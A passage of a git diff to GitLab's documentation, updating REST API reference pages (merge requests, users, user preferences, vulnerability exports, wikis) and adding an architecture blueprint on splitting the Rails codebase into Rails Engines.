"work_in_progress": false,
"milestone": {
"id": 32,
@@ -161,6 +162,7 @@ Example Response:
"source_project_id": 2,
"target_project_id": 2,
"labels": [],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 32,
@@ -259,6 +261,7 @@ Example Response:
"source_project_id": 2,
"target_project_id": 2,
"labels": [],
+ "draft": false,
"work_in_progress": false,
"milestone": {
"id": 32,
diff --git a/doc/api/users.md b/doc/api/users.md
index ac8fbe8492f..0e7b197b106 100644
--- a/doc/api/users.md
+++ b/doc/api/users.md
@@ -207,7 +207,7 @@ Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see
```
Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see
-the `group_saml` provider option:
+the `group_saml` provider option and `provisioned_by_group_id` parameter:
```json
[
@@ -220,6 +220,7 @@ the `group_saml` provider option:
{"provider": "google_oauth2", "extern_uid": "8776128412476123468721346"},
{"provider": "group_saml", "extern_uid": "123789", "saml_provider_id": 10}
],
+ "provisioned_by_group_id": 123789
...
}
]
@@ -374,7 +375,7 @@ the `shared_runners_minutes_limit`, `is_auditor`, and `extra_shared_runners_minu
```
Users on GitLab.com [Premium or higher](https://about.gitlab.com/pricing/) also
-see the `group_saml` option:
+see the `group_saml` option and `provisioned_by_group_id` parameter:
```json
{
@@ -388,6 +389,7 @@ see the `group_saml` option:
{"provider": "google_oauth2", "extern_uid": "8776128412476123468721346"},
{"provider": "group_saml", "extern_uid": "123789", "saml_provider_id": 10}
],
+ "provisioned_by_group_id": 123789
...
}
```
@@ -630,7 +632,14 @@ GET /user
}
```
-Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit`, `extra_shared_runners_minutes_limit`, `is_auditor`, and `using_license_seat` parameters.
+Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see these
+parameters:
+
+- `shared_runners_minutes_limit`
+- `extra_shared_runners_minutes_limit`
+- `is_auditor`
+- `provisioned_by_group_id`
+- `using_license_seat`
## User status
@@ -684,6 +693,29 @@ Example response:
}
```
+## Get user preferences
+
+Get a list of currently authenticated user's preferences.
+
+```plaintext
+GET /user/preferences
+```
+
+Example response:
+
+```json
+{
+ "id": 1,
+ "user_id": 1
+ "view_diffs_file_by_file": true,
+ "show_whitespace_in_diffs": false
+}
+```
+
+Parameters:
+
+- **none**
+
## User preference modification
Update the current user's preferences.
@@ -696,7 +728,8 @@ PUT /user/preferences
{
"id": 1,
"user_id": 1
- "view_diffs_file_by_file": true
+ "view_diffs_file_by_file": true,
+ "show_whitespace_in_diffs": false
}
```
@@ -705,6 +738,7 @@ Parameters:
| Attribute | Required | Description |
| :--------------------------- | :------- | :---------------------------------------------------------- |
| `view_diffs_file_by_file` | Yes | Flag indicating the user sees only one file diff per page. |
+| `show_whitespace_in_diffs` | Yes | Flag indicating the user sees whitespace changes in diffs. |
## Set user status
@@ -723,7 +757,8 @@ PUT /user/status
When both parameters `emoji` and `message` are empty, the status is cleared. When the `clear_status_after` parameter is missing from the request, the previously set value for `"clear_status_after` is cleared.
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "clear_status_after=1_day" --data "emoji=coffee" --data "message=I crave coffee" "https://gitlab.example.com/api/v4/user/status"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "clear_status_after=1_day" --data "emoji=coffee" \
+ --data "message=I crave coffee" "https://gitlab.example.com/api/v4/user/status"
```
Example responses
@@ -1058,7 +1093,8 @@ Parameters:
| key | string | yes | The new GPG key |
```shell
-curl --data "key=-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n\r\nxsBNBFV..." --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/user/gpg_keys"
+curl --data "key=-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n\r\nxsBNBFV..." \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/user/gpg_keys"
```
Example response:
@@ -1169,7 +1205,8 @@ Parameters:
| `key_id` | integer | yes | The ID of the GPG key |
```shell
-curl --data "key=-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n\r\nxsBNBFV..." --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/2/gpg_keys"
+curl --data "key=-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n\r\nxsBNBFV..." \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/2/gpg_keys"
```
Example response:
@@ -1579,7 +1616,8 @@ POST /users/:user_id/impersonation_tokens
| `scopes` | array | yes | The array of scopes of the impersonation token (`api`, `read_user`) |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "name=mytoken" --data "expires_at=2017-04-04" --data "scopes[]=api" "https://gitlab.example.com/api/v4/users/42/impersonation_tokens"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "name=mytoken" --data "expires_at=2017-04-04" \
+ --data "scopes[]=api" "https://gitlab.example.com/api/v4/users/42/impersonation_tokens"
```
Example response:
@@ -1643,7 +1681,8 @@ POST /users/:user_id/personal_access_tokens
| `scopes` | array | yes | The array of scopes of the personal access token (`api`, `read_user`, `read_api`, `read_repository`, `write_repository`) |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "name=mytoken" --data "expires_at=2017-04-04" --data "scopes[]=api" "https://gitlab.example.com/api/v4/users/42/personal_access_tokens"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "name=mytoken" --data "expires_at=2017-04-04" \
+ --data "scopes[]=api" "https://gitlab.example.com/api/v4/users/42/personal_access_tokens"
```
Example response:
diff --git a/doc/api/vulnerability_exports.md b/doc/api/vulnerability_exports.md
index f70662c7c61..6d01d7e7d96 100644
--- a/doc/api/vulnerability_exports.md
+++ b/doc/api/vulnerability_exports.md
@@ -199,13 +199,13 @@ Example response:
```csv
Group Name,Project Name,Scanner Type,Scanner Name,Status,Vulnerability,Details,Additional Info,Severity,CVE,CWE,Other Identifiers
-Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2017-16997 in glibc,,CVE-2017-16997 in glibc,critical,CVE-2017-16997
-Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2017-18269 in glibc,,CVE-2017-18269 in glibc,critical,CVE-2017-18269
-Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2018-1000001 in glibc,,CVE-2018-1000001 in glibc,high,CVE-2018-1000001
-Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2016-10228 in glibc,,CVE-2016-10228 in glibc,medium,CVE-2016-10228
-Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2010-4052 in glibc,,CVE-2010-4052 in glibc,low,CVE-2010-4052
-Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2018-18520 in elfutils,,CVE-2018-18520 in elfutils,low,CVE-2018-18520
-Gitlab.org,Defend,container_scanning,Clair,detected,CVE-2018-16869 in nettle,,CVE-2018-16869 in nettle,unknown,CVE-2018-16869,CWE-1
+Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2017-16997 in glibc,,CVE-2017-16997 in glibc,critical,CVE-2017-16997
+Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2017-18269 in glibc,,CVE-2017-18269 in glibc,critical,CVE-2017-18269
+Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2018-1000001 in glibc,,CVE-2018-1000001 in glibc,high,CVE-2018-1000001
+Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2016-10228 in glibc,,CVE-2016-10228 in glibc,medium,CVE-2016-10228
+Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2010-4052 in glibc,,CVE-2010-4052 in glibc,low,CVE-2010-4052
+Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2018-18520 in elfutils,,CVE-2018-18520 in elfutils,low,CVE-2018-18520
+Gitlab.org,Defend,container_scanning,Trivy,detected,CVE-2018-16869 in nettle,,CVE-2018-16869 in nettle,unknown,CVE-2018-16869,CWE-1
Gitlab.org,Defend,dependency_scanning,Gemnasium,detected,Regular Expression Denial of Service in debug,,Regular Expression Denial of Service in debug,unknown,CVE-2021-1234,CWE-2,"""yarn.lock:debug:gemnasium:37283ed4-0380-40d7-ada7-2d994afcc62a"""
Gitlab.org,Defend,dependency_scanning,Gemnasium,detected,Authentication bypass via incorrect DOM traversal and canonicalization in saml2-js,,Authentication bypass via incorrect DOM traversal and canonicalization in saml2-js,unknown,,,"""yarn.lock:saml2-js:gemnasium:9952e574-7b5b-46fa-a270-aeb694198a98"""
Gitlab.org,Defend,sast,Find Security Bugs,detected,Predictable pseudorandom number generator,,Predictable pseudorandom number generator,medium,,,"""818bf5dacb291e15d9e6dc3c5ac32178:PREDICTABLE_RANDOM:src/main/java/com/gitlab/security_products/tests/App.java:47"""
diff --git a/doc/api/wikis.md b/doc/api/wikis.md
index 569708cdfcc..d6cc6f938b8 100644
--- a/doc/api/wikis.md
+++ b/doc/api/wikis.md
@@ -64,7 +64,7 @@ GET /projects/:id/wikis/:slug
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
-| `slug` | string | yes | The slug (a unique string) of the wiki page |
+| `slug` | string | yes | URLencoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis/home"
@@ -97,7 +97,8 @@ POST /projects/:id/wikis
| `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` |
```shell
-curl --data "format=rdoc&title=Hello&content=Hello world" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis"
+curl --data "format=rdoc&title=Hello&content=Hello world" \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis"
```
Example response:
@@ -125,10 +126,11 @@ PUT /projects/:id/wikis/:slug
| `content` | string | yes if `title` is not provided | The content of the wiki page |
| `title` | string | yes if `content` is not provided | The title of the wiki page |
| `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` |
-| `slug` | string | yes | The slug (a unique string) of the wiki page |
+| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` |
```shell
-curl --request PUT --data "format=rdoc&content=documentation&title=Docs" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis/foo"
+curl --request PUT --data "format=rdoc&content=documentation&title=Docs" \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis/foo"
```
Example response:
@@ -153,7 +155,7 @@ DELETE /projects/:id/wikis/:slug
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
-| `slug` | string | yes | The slug (a unique string) of the wiki page |
+| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` |
```shell
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/wikis/foo"
@@ -182,7 +184,8 @@ The `file=` parameter must point to a file on your file system and be preceded
by `@`. For example:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "file=@dk.png" "https://gitlab.example.com/api/v4/projects/1/wikis/attachments"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "file=@dk.png" "https://gitlab.example.com/api/v4/projects/1/wikis/attachments"
```
Example response:
diff --git a/doc/architecture/blueprints/ci_scale/ci_builds_cumulative_forecast.png b/doc/architecture/blueprints/ci_scale/ci_builds_cumulative_forecast.png
index fa34c7d1c36..d1e7db30b11 100644
--- a/doc/architecture/blueprints/ci_scale/ci_builds_cumulative_forecast.png
+++ b/doc/architecture/blueprints/ci_scale/ci_builds_cumulative_forecast.png
Binary files differ
diff --git a/doc/architecture/blueprints/ci_scale/ci_builds_daily_forecast.png b/doc/architecture/blueprints/ci_scale/ci_builds_daily_forecast.png
index b73a592fa6b..15f250e6b0e 100644
--- a/doc/architecture/blueprints/ci_scale/ci_builds_daily_forecast.png
+++ b/doc/architecture/blueprints/ci_scale/ci_builds_daily_forecast.png
Binary files differ
diff --git a/doc/architecture/blueprints/ci_scale/index.md b/doc/architecture/blueprints/ci_scale/index.md
index 99997e7b19b..6afa13bf207 100644
--- a/doc/architecture/blueprints/ci_scale/index.md
+++ b/doc/architecture/blueprints/ci_scale/index.md
@@ -28,7 +28,7 @@ store CI/CD data.
We expect to see 20M builds created daily on GitLab.com in the first half of
2024.
-![ci_builds cumulative with forecast](ci_builds_cumulative_forecast.png)
+![CI builds cumulative with forecast](ci_builds_cumulative_forecast.png)
## Goals
@@ -46,9 +46,9 @@ Historically, Rails used to use [integer](https://www.postgresql.org/docs/9.1/da
type when creating primary keys for a table. We did use the default when we
[created the `ci_builds` table in 2012](https://gitlab.com/gitlab-org/gitlab/-/blob/046b28312704f3131e72dcd2dbdacc5264d4aa62/db/ci/migrate/20121004165038_create_builds.rb).
[The behavior of Rails has changed](https://github.com/rails/rails/pull/26266)
-since the release of Rails 5. The framework is now using bigint type that is 8
+since the release of Rails 5. The framework is now using `bigint` type that is 8
bytes long, however we have not migrated primary keys for `ci_builds` table to
-bigint yet.
+`bigint` yet.
We will run out of the capacity of the integer type to store primary keys in
`ci_builds` table before December 2021. When it happens without a viable
@@ -89,7 +89,7 @@ Prophet](https://facebook.github.io/prophet/) shows that in the first half of
to around 2M we see created today, this is 10x growth our product might need to
sustain in upcoming years.
-![ci_builds daily forecast](ci_builds_daily_forecast.png)
+![CI builds daily forecast](ci_builds_daily_forecast.png)
### Queuing mechanisms are using the large table
@@ -101,7 +101,7 @@ want to process them.
This mechanism is very inefficient, and it has been causing problems on the
production environment frequently. This usually results in a significant drop
-of the CI/CD apdex score, and sometimes even causes a significant performance
+of the CI/CD Apdex score, and sometimes even causes a significant performance
degradation in the production environment.
There are multiple other strategies that can improve performance and
diff --git a/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md b/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md
new file mode 100644
index 00000000000..92717dc1fe9
--- /dev/null
+++ b/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md
@@ -0,0 +1,614 @@
+---
+stage: none
+group: unassigned
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+comments: false
+description: 'Making a GitLab codebase composable - allowing to run parts of the application'
+---
+
+# Composable GitLab codebase - using Rails Engines
+
+The one of the major risks of a single codebase is an infinite growth of the whole
+application. The more code being added results in not only ever increasing resource requirements
+for running the application, but increased application coupling and explosion of the complexity.
+
+## Executive summary
+
+This blueprint discusses an impact of introducing **Application Layers** as a way to reduce and improve the application
+codebase. This discusses the positive and negative outcomes of the proposed solution and tries to estimate the impact
+on GitLab.com and smaller installations.
+
+**Application Layers** tries to split GitLab Rails codebase horizontally following the pattern of how we actually
+run GitLab instead of vertical split. This follows the idea that a single feature needs to run in many different ways
+(CI for example has Web interface, uses API, and performs background processing), and we are not able to easily
+run only a given feature separate to the rest application (like CI) due to coupling.
+
+The proposal itself does allow us to disconnect some aspects of the features. These aspects could be treated
+as components that are run separately from the rest of the stack, but still sharing a large portion of core.
+This model could be implemented to provide an API interface for external tooling (Runners API, Packages API, Feature Flags Unleash API)
+and allow us to have much better resiliency and much easier way to scale application in the future.
+
+The actual split was tested with the usage of [Rails Engines](https://guides.rubyonrails.org/engines.html)
+implementing separate gems in a single repository. The [Rails Engines](https://guides.rubyonrails.org/engines.html)
+allowed us to well describe the individual components with its dependencies and run an application
+consisting of many Rails Engines.
+
+The blueprint aims to retain all key aspects of GitLab success: single and monolithic codebase (with a [single data-store](https://about.gitlab.com/handbook/product/single-application/#single-data-store)),
+but allows us to better model application and make our codebase more composable.
+
+## Challenges of the Monolith (a current state)
+
+Today the usage of monolith proves to be challenging in many cases. A single big monolith
+codebase without clear boundaries results in a number of problems and inefficiencies, some of them being:
+
+- Deep coupling makes application harder to develop in longer term, as it leads to a spaghetti implementation
+ instead of considering building more interface-based architecture
+- Deep coupling between parts of the codebase making it harder to test. To test only a small portion of application
+ we usually need to run a whole test suite to confidently know which parts are affected. This to
+ some extent can be improved by building a heuristic to aid this process, but it is prone to errors and hard
+ to keep accurate at all times
+- All components need to be loaded at all times in order to run only parts of the application
+- Increased resource usage, as we load parts of the application that are rarely used in a given context
+- The high memory usage results in slowing the whole application as it increases GC cycles duration
+ creating significantly longer latency for processing requests or worse cache usage of CPUs
+- Increased application boot-up times as we need to load and parse significantly more files
+- Longer boot-up times slows down the development, as running application or tests takes significantly longer
+ reducing velocity and amount of iterations
+
+## Composable codebase dimensions
+
+In general, we can think about two ways how codebase can be modeled:
+
+- **vertically** in Bounded Contexts, each representing a domain of the application, ex.: All features related to CI are in a given context
+- **horizontally** in Application Layers: Sidekiq, GraphQL, REST API, Web Controllers, all Domain Models and Services that interface with DB directly
+
+This blueprint explicitly talks about **horizontal** split and **Application Layers**.
+
+## Current state of Bounded Contexts (**vertical** split)
+
+The Bounded Contexts is a topic that was discussed extensively number of times for a couple of years.
+Reflected in number of issues:
+
+- [Create new models / classes within a module / namespace](https://gitlab.com/gitlab-org/gitlab/-/issues/212156)
+- [Make teams to be maintainers of their code](https://gitlab.com/gitlab-org/gitlab/-/issues/25872)
+- [Use nested structure to organize CI classes](https://gitlab.com/gitlab-org/gitlab/-/issues/209745)
+- [WIP: Make it simple to build and use "Decoupled Services"](https://gitlab.com/gitlab-org/gitlab/-/issues/31121)
+
+We are partially executing a **Bounded Contexts** idea:
+
+- Make each team to own their own namespace, namespace which is defined as a `module` in a codebase
+- Make each team to own their own tests, as namespaces would define a clear boundaries
+- Since we use namespaces, individual contributor or reviewer can know who to reach from domain experts about help with
+ the given context
+
+The module namespaces are actively being used today to model codebase around team boundaries. Currently, the most
+prominent namespaces being used today are `Ci::` and `Packages::`. They provide a good way to contain the code owned
+by a group in a well-defined structure.
+
+However, the **Bounded Contexts** while it helps development, it does not help with the above stated goals. This is purely
+a logical split of the code. This does not prevent deep-coupling. It is still possible to create a circular dependency (and it often happens)
+between a background processing of CI pipeline and Runner API interface.
+API can call Sidekiq Worker, Sidekiq can use API to create an endpoint path.
+
+The **Bounded Contexts** do not make our codebase smarter to know what depends on what, as the whole codebase
+is treated as single package that needs to be loaded and executed.
+
+Possible additional considerations to the disadvantages of Bounded Context:
+
+- It can lead to tribal knowledge and duplicate code
+- The deep coupling can make it difficult to iterate and make minimal changes
+- Changes may have cascading effects that are difficult to isolate due to the vertical split
+
+## The Application Layers (**horizontal* split)
+
+While we continue leveraging **Bounded Contexts** in form of namespace separation that aids development and review process
+the **Application Layers** can provide a way to create a clean separation between different functional parts.
+
+Our main codebase (`GitLab Rails` after a GitLab running on Ruby on Rails) consists many of implicit **Application Layers**.
+There are no clear boundaries between each layer which results in a deep coupling.
+
+The concept of **Application Layers** looks at the application from the perspective of how we run the application
+instead of perspective of individual features (like CI or Packages). GitLab application today can be decomposed into the following
+application layers. This list is not exhaustive, but shows a general list of the different parts of a single monolithic codebase:
+
+- Web Controllers: process Web requests coming from users visiting web interface
+- Web API: API calls coming from the automated tooling, in some cases also users visiting web interface
+- Web Runners API: API calls from the Runners, that allows Runner to fetch new jobs, or update trace log
+- Web GraphQL: provide a flexible API interface, allowing the Web frontend to fetch only the data needed thereby reducing the amount of compute and data transfer
+- Web ActionCable: provide bi-directional connection to enable real-time features for Users visiting web interface
+- Web Feature Flags Unleash Backend: provide an Unleash-compatible Server that uses GitLab API
+- Web Packages API: provide a REST API compatible with the packaging tools: Debian, Maven, Container Registry Proxy, etc.
+- Git nodes: all code required to authorize `git pull/push` over `SSH` or `HTTPS`
+- Sidekiq: run background jobs
+- Services/Models/DB: all code required to maintain our database structure, data validation, business logic and policies models that needs to be shared with other components
+
+The best way to likely describe how the actual GitLab Rails split would look like. It is a satellite model.
+Where we have a single core, that is shared across all satellite components. The design of that implies
+that satellite components have a limited way to communicate with each other. In a single monolithic application
+in most of cases application would communicate with a code. In a satellite model the communication needs
+to be performed externally to the component. This can be via Database, Redis or using a well defined exposed API.
+
+```mermaid
+flowchart TD
+ subgraph Data Store
+ D[Database]
+ R[Redis]
+ end
+ subgraph Rails Engines
+ subgraph Data Access Layer
+ C[Core]
+ end
+ subgraph Web Processing
+ W[Web]
+ end
+ subgraph Background Processing
+ S[Sidekiq]
+ end
+ end
+ C --> D & R
+ W & S -- using application models --> C
+ R -- push background job --> S
+ W -- via async schedule --> S
+ S -- via Web API --> W
+```
+
+### Application Layers for on-premise installations
+
+The on-premise installations are significantly smaller and they usually run GitLab Rails in two main flavors:
+
+```mermaid
+graph LR
+ gitlab_node[GitLab Node with Load Balancer]
+
+ gitlab_node_web[Web running Puma]
+ gitlab_node_sidekiq[Background jobs running Sidekiq]
+ gitlab_node_git[Git running Puma and SSH]
+
+ subgraph GitLab Rails
+ gitlab_rails_web_controllers[Controllers]
+ gitlab_rails_api[API]
+ gitlab_rails_api_runners[API Runner]
+ gitlab_rails_graphql[GraphQL]
+ gitlab_rails_actioncable[ActionCable]
+ gitlab_rails_services[Services]
+ gitlab_rails_models[Models]
+ gitlab_rails_sidekiq[Sidekiq Workers]
+ end
+
+ postgresql_db[(PostgreSQL Database)]
+ redis_db[(Redis Database)]
+
+ gitlab_node --> gitlab_node_web
+ gitlab_node --> gitlab_node_sidekiq
+ gitlab_node --> gitlab_node_git
+
+ gitlab_node_web --> gitlab_rails_web_controllers
+ gitlab_node_web --> gitlab_rails_api
+ gitlab_node_web --> gitlab_rails_api_runners
+ gitlab_node_web --> gitlab_rails_graphql
+ gitlab_node_web --> gitlab_rails_actioncable
+ gitlab_node_git --> gitlab_rails_api
+ gitlab_node_sidekiq --> gitlab_rails_sidekiq
+
+ gitlab_rails_web_controllers --> gitlab_rails_services
+ gitlab_rails_api --> gitlab_rails_services
+ gitlab_rails_api_runners --> gitlab_rails_services
+ gitlab_rails_graphql --> gitlab_rails_services
+ gitlab_rails_actioncable --> gitlab_rails_services
+ gitlab_rails_sidekiq --> gitlab_rails_services
+
+ gitlab_rails_services --> gitlab_rails_models
+
+ gitlab_rails_models --> postgresql_db
+ gitlab_rails_models --> redis_db
+```
+
+### Application Layers on GitLab.com
+
+Due to its scale, GitLab.com requires much more attention to run. This is needed in order to better manage resources
+and provide SLAs for different functional parts. The chart below provides a simplistic view of GitLab.com application layers.
+It does not include all components, like Object Storage nor Gitaly nodes, but shows the GitLab Rails dependencies between
+different components and how they are configured on GitLab.com today:
+
+```mermaid
+graph LR
+ gitlab_com_lb[GitLab.com Load Balancer]
+
+ gitlab_com_web[Web Nodes running Puma]
+ gitlab_com_api[API Nodes running Puma]
+ gitlab_com_websockets[WebSockets Nodes running Puma]
+ gitlab_com_sidekiq[Background Jobs running Sidekiq]
+ gitlab_com_git[Git Nodes running Puma and SSH]
+
+ subgraph GitLab Rails
+ gitlab_rails_web_controllers[Controllers]
+ gitlab_rails_api[API]
+ gitlab_rails_api_runners[API Runner]
+ gitlab_rails_graphql[GraphQL]
+ gitlab_rails_actioncable[ActionCable]
+ gitlab_rails_services[Services]
+ gitlab_rails_models[Models]
+ gitlab_rails_sidekiq[Sidekiq Workers]
+ end
+
+ postgresql_db[(PostgreSQL Database)]
+ redis_db[(Redis Database)]
+
+ gitlab_com_lb --> gitlab_com_web
+ gitlab_com_lb --> gitlab_com_api
+ gitlab_com_lb --> gitlab_com_websockets
+ gitlab_com_lb --> gitlab_com_git
+
+ gitlab_com_web --> gitlab_rails_web_controllers
+ gitlab_com_api --> gitlab_rails_api
+ gitlab_com_api --> gitlab_rails_api_runners
+ gitlab_com_api --> gitlab_rails_graphql
+ gitlab_com_websockets --> gitlab_rails_actioncable
+ gitlab_com_git --> gitlab_rails_api
+ gitlab_com_sidekiq --> gitlab_rails_sidekiq
+
+ gitlab_rails_web_controllers --> gitlab_rails_services
+ gitlab_rails_api --> gitlab_rails_services
+ gitlab_rails_api_runners --> gitlab_rails_services
+ gitlab_rails_graphql --> gitlab_rails_services
+ gitlab_rails_actioncable --> gitlab_rails_services
+ gitlab_rails_sidekiq --> gitlab_rails_services
+
+ gitlab_rails_services --> gitlab_rails_models
+
+ gitlab_rails_models --> postgresql_db
+ gitlab_rails_models --> redis_db
+```
+
+### Layer dependencies
+
+The differences in how GitLab is run for on-premise versus how we run GitLab.com does show a main division line in GitLab Rails:
+
+- Web: containing all API, all Controllers, all GraphQL and ActionCable functionality
+- Sidekiq: containing all background processing jobs
+- Core: containing all database, models and services that needs to be shared between Web and Sidekiq
+
+Each of these top-level application layers do depend only on a fraction of the codebase with all relevant dependencies:
+
+- In all cases we need the underlying database structure and application models
+- In some cases we need dependent services
+- We only need a part of the application common library
+- We need gems to support the requested functionality
+- Individual layers should not use another sibling layer (tight coupling), rather connect via API, Redis or DB to share data (loose coupling)
+
+## Proposal
+
+The Memory team group conducted a Proof-of-Concept phase to understand the impact of introducing **Application Layers**.
+We did this to understand the complexity, impact, and needed iterations to execute this proposal.
+
+The proposals here should be treated as evaluation of the impact of this blueprint,
+but not a final solution to be implemented. The PoC as defined is not something that should be merged,
+but serves as a basis for future work.
+
+### PoC using Rails Engines
+
+We decided to use Rails Engines by modeling a Web Application Layer. The Web Engine contained Controllers, API, GraphQL.
+This allowed us to run Web Nodes with all dependencies, but measure the impact on Sidekiq not having these components loaded.
+
+All work can be found in these merge requests:
+
+- [Provide mechanism to load GraphQL with all dependencies only when needed](https://gitlab.com/gitlab-org/gitlab/-/issues/288044)
+- [Draft: PoC - Move GraphQL to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50180)
+- [Draft: PoC - Move Controllers and Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53720)
+- [Draft: PoC - Move only Grape API:API to the WebEngine](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53982)
+- [Measure performance impact for proposed web_engine](https://gitlab.com/gitlab-org/gitlab/-/issues/300548)
+
+What was done?
+
+- We used [Rails Engines](https://guides.rubyonrails.org/engines.html)
+- The 99% of changes as visible in the above MRs is moving files as-is
+- We moved all GraphQL code and specs into `engines/web_engine/` as-is
+- We moved all API and Controllers code and specs into `engines/web_engine`
+- We adapted CI to test `engines/web_engine/` as a self-sufficient component of stack
+- We configured GitLab to load `gem web_engine` running Web nodes (Puma web server)
+- We disabled loading `web_engine` when running Background processing nodes (Sidekiq)
+
+#### Implementation details for proposed solution
+
+1. Introduce new Rails Engine for each application layer.
+
+ We created `engines` folder, which could contain different engines for each application layer we introduce in the future.
+
+ In the above PoCs we introduced the new Web Application Layer, located in `engines/web_engine` folder.
+
+1. Move all code and specs into `engines/web_engine/`
+
+ - We moved all GraphQL code and specs into `engines/web_engine/` without changing files itself
+ - We moved all Grape API and Controllers code into `engines/web_engine/` without changing files itself
+
+1. Move gems to the `engines/web_engine/`
+
+ - We moved all GraphQL gems to the actual web_engine Gemfile
+ - We moved Grape API gem to the actual web_engine Gemfile
+
+ ```ruby
+ Gem::Specification.new do |spec|
+ spec.add_dependency 'apollo_upload_server'
+ spec.add_dependency 'graphql'
+ spec.add_dependency 'graphiql-rails'
+
+ spec.add_dependency 'graphql-docs'
+ spec.add_dependency 'grape'
+ end
+ ```
+
+1. Move routes to the `engines/web_engine/config/routes.rb` file
+
+ - We moved GraphQL routes to the web_engine routes.
+ - We moved API routes to the web_engine routes.
+ - We moved most of the controller routes to the web_engine routes.
+
+ ```ruby
+ Rails.application.routes.draw do
+ post '/api/graphql', to: 'graphql#execute'
+ mount GraphiQL::Rails::Engine, at: '/-/graphql-explorer', graphql_path:
+ Gitlab::Utils.append_path(Gitlab.config.gitlab.relative_url_root, '/api/graphql')
+
+ draw :api
+
+ #...
+ end
+ ```
+
+1. Move initializers to the `engines/web_engine/config/initializers` folder
+
+ - We moved `graphql.rb` initializer to the `web_engine` initializers folder
+ - We moved `grape_patch.rb` and `graphe_validators` to the `web_engine` initializers folder
+
+1. Connect GitLab application with the WebEngine
+
+ In GitLab Gemfile.rb, add web_engine to the engines group
+
+ ```ruby
+ # Gemfile
+ group :engines, :test do
+ gem 'web_engine', path: 'engines/web_engine'
+ end
+ ```
+
+ Since the gem is inside :engines group, it will not be automatically required by default.
+
+1. Configure GitLab when to load the engine.
+
+ In GitLab `config/engines.rb`, we can configure when do we want to load our engines by relying on our `Gitlab::Runtime`
+
+ ```ruby
+ # config/engines.rb
+ # Load only in case we are running web_server or rails console
+ if Gitlab::Runtime.web_server? || Gitlab::Runtime.console?
+ require 'web_engine'
+ end
+ ```
+
+1. Configure Engine
+
+ Our Engine inherits from the `Rails::Engine` class. This way this gem notifies Rails that
+ there's an engine at the specified path so it will correctly mount the engine inside
+ the application, performing tasks such as adding the app directory of the engine to
+ the load path for models, mailers, controllers, and views.
+ A file at `lib/web_engine/engine.rb`, is identical in function to a standard Rails
+ application's `config/application.rb` file. This way engines can access a configuration
+ object which contains configuration shared by all railties and the application.
+ Additionally, each engine can access `autoload_paths`, `eager_load_paths`, and `autoload_once_paths`
+ settings which are scoped to that engine.
+
+ ```ruby
+ module WebEngine
+ class Engine < ::Rails::Engine
+ config.eager_load_paths.push(*%W[#{config.root}/lib
+ #{config.root}/app/graphql/resolvers/concerns
+ #{config.root}/app/graphql/mutations/concerns
+ #{config.root}/app/graphql/types/concerns])
+
+ if Gitlab.ee?
